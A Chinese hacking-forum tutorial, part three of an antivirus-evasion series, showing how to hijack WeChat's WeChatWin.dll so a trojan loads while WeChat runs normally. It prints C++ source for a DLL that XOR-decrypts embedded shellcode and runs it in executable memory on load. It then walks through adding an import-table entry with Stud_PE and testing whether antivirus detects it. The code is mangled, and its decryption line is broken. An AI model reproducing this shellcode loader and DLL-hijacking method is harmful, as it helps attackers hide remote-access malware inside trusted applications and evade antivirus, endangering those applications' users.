新手上路
- 资源币
- 15
- 积分
- 20
- 贡献
- 0
- 在线时间
- 2 小时
- 注册时间
- 2020-2-21
- 最后登录
- 2020-5-3
|
零基础入门学免杀(三)
第三期在当初写第二期的时候我就想好了如何写什么,虽然K总一直催我写第三期,但是由于最近比较忙,一直在做 哎……. 所以额一直推到今天才开始写。第三期呢我考虑的是劫持dll过后让程序能够正常运行,达到更隐蔽的运行木马,由于朋友要求所以这次我拿的是微信来做的演示,制作期间遇到了很多问题,利用网上前辈的一些方法和工具行不通(可能是我太菜了),最后我下定决心以损失一次做*的时间为代价终于把它搞定了。下面我会提到我所遇到的问题,我个人不是很喜欢写东西,所以这部分我不会详细的说明,成功那一块我会细说,B话不多说了,先上车吧。
查看可劫持DLL:
这一步老规矩,使用ProcessMonitor查看程序所加载的DLL,这次不需要第一个加载,随便找一个加载的就行了,最好是当前目录
随便找了一个WeChatWin.dll,接下来就用这个dll做劫持演示
失败的例子1:
首先我想到的第一个思路是利用IDA查看WeChatWin.dll所有的函数类型,然后自己写一个test.dll,把WeChatWin.dll所有的函数移到test.dll,之后再调用WeChatWin.dll相应的函数。
可以看到有很多的函数,并且我唯一会的F5大法失效了。函数太多也不可能挨着试,并且我们要还原每个函数,工作量巨大。那么对于相对较懒的我来说这个方法行不通。PS:我这里贴一张脑图吧,测试代码我就不写了。
脑图中的WeChatWin.dll是自己写的dll
test.dll为原来的WeChatWin.dll
假设function a 是wechat启动第一个调用的函数,当然你也可以加到其他函数里
失败的例子2:
由于函数太多自己写太麻烦,我想到了利用工具自动化实现。我在网上找到了一款工具DLL_Hijacker,可以自动生成C语言文件调用原dll的所有函数
源码如图
我随便截取了一部分源码,发现确实可以调用,但是有个问题 函数命名出现了@,编译的时候会报错,根据测试,只要是原dll的函数当中带有形参的都会出现@符号,解决的方法就是用上面的办法用IDA把带有@的函数自己写一遍。这里出现带有@的函数太多显然我不回去这么做,所以此路不通…….
柳暗花明又一村:
纠结了许久,我想到了以前玩劫持免杀远控的时候用到过的一个方法:给正常程序添加一个输入表,可以用到这里。具体实现方法如下
一:新建一个执行shellcode的dll
利用第一期里面的方法二,先给shellcode进行加密,再解密运行,这里需要注意三点
执行shellcode的命令必须放在dll的主函数里“DllMain”
需要新建一个线程运行shellcode
必须有一个导出函数,函数里面的内容随意就好
代码如下:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include
"stdafx.h"
#include
<windows.h>
#include
<iostream>
#define
KEY
0x97
unsignedchar
shellcode[] =
"\x6b\x7f\x1e\x97\x97\..... "
;
//这里写加密shellcode
HANDLE
My_hThread
= NULL;
DWORD WINAPI ceshi(LPVOID pParameter)
{
unsignedchar
c[
sizeof
(shellcode)];
//获取shellcode长度
for
(
int
i =
0
; i <
sizeof
(shellcode) -
1
; i++)
{
c = shellcode ^ KEY;
//进行解密
}
LPVOID
Memory
=
VirtualAlloc
(NULL,
sizeof
(c), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(
Memory
, c,
sizeof
(c));
((
void
(*)())
Memory
)();
return
0
;
}
BOOL APIENTRY
DllMain
( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch
(ul_reason_for_call)
{
case
DLL_PROCESS_ATTACH:
//初次调用dll的时候执行下面的
My_hThread
= ::
CreateThread
(NULL,
0
, &ceshi,
0
,
0
,
0
);
//新建线程
break
;
case
DLL_THREAD_ATTACH:
case
DLL_THREAD_DETACH:
case
DLL_PROCESS_DETACH:
break
;
}
//ceshi();
return
TRUE;
}
extern
"C"
_declspec(dllexport)
void
test()
{
int
a;
a =
0
;
}
这段代码大概的意思就是 当dll被调用的时候就执行shellcode解密并且运行,所以必须要一个新建一个导出函数才能够调用
我用的是vs2017编译的
编译好之后我们先用loadpe看一下是否有输入表
程序没问题,接下来就是给WeChatWin.dll添加输入表,这里需要用到的工具为Stud_PE 大家自行百度下载
操作步骤:打开Stud_PE-拖入WeChatWin.dll-点击函数栏-右键添加新的输入表-DLL选择-选择函数-添加清单-加入
之后把自己的dll放到WeChatWin.dll同目录下运行微信即可。
先测试一下静态免杀效果:
动态免杀效果:
运行微信
:
|
|